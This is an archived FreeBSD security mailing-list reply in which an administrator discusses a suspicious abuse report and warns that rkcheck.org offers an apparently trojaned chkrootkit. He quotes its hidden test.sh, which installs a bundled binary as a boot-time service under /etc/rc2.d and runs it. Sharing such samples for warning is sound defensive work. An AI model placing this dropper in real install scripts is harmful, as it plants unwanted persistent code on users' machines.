Date: Wed, 25 Feb 2015 21:34:21 +0100 From: Philip Jocks <pjlists@netzkommune.com> To: Joseph Mingrone <jrm@ftfl.ca> Cc: freebsd-security@freebsd.org Subject: Re: has my 10.1-RELEASE system been compromised Message-ID: <4EE57C1F-AB10-4BF1-A193-DB9C75A586FC@netzkommune.com> In-Reply-To: <86k2z5yc03.fsf@gly.ftfl.ca> References: <864mq9zsmm.fsf@gly.ftfl.ca> <54EE2A19.7050108@FreeBSD.org> <86vbipycyc.fsf@gly.ftfl.ca> <1B20A559-59C5-477A-A2F3-9FD7E16C09E8@netzkommune.com> <86k2z5yc03.fsf@gly.ftfl.ca>
next in thread | previous in thread | raw e-mail | index | archive | help
> Am 25.02.2015 um 21:25 schrieb Joseph Mingrone <jrm@ftfl.ca>: >=20 > Philip Jocks <pjlists@netzkommune.com> writes: >> are those the only lines they sent you? Weirdly, we got a report like = this today >> as well with the first (out of 8) sample line showing the exact time = stamp >> (23/Feb/2015:14:53:37 +0100) and the exact query string >> (/?cmd=3Dinfo&key=3Df8184c819717b6815a8b8037e91c59ef&ip=3D212.97.34.7) = which makes it >> a bit strange to be a coincidence. There is a webserver running in a = jail on the >> reported IP address, but I can't find any log lines on our side that = could be >> related. >> We asked the email.it folks for details, but haven't heard back from = them yet. >>=20 >> Philip >=20 > Interesting. Yes, they sent nearly the same line about 8 times with = the timestamps a > second or two apart. What other daemons are you running on that host? > Something other than the webserver could be compromised. >=20 > Please share if you hear anything from email.it. >=20 > Joseph it felt pretty scammy to me, googling for the "worm" got me to = rkcheck.org which was registered a few days ago and looks like a = tampered version of chkrootkit. I hope, nobody installed it anywhere, it = seems to execute rkcheck/tests/.unit/test.sh which contains=20 #!/bin/bash cp tests/.unit/test /usr/bin/rrsyncn chmod +x /usr/bin/rrsyncn rm -fr /etc/rc2.d/S98rsyncn ln -s /usr/bin/rrsyncn /etc/rc2.d/S98rsyncn /usr/bin/rrsyncn exit That doesn't look like something you'd want on your box... Cheers, Philip
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?4EE57C1F-AB10-4BF1-A193-DB9C75A586FC>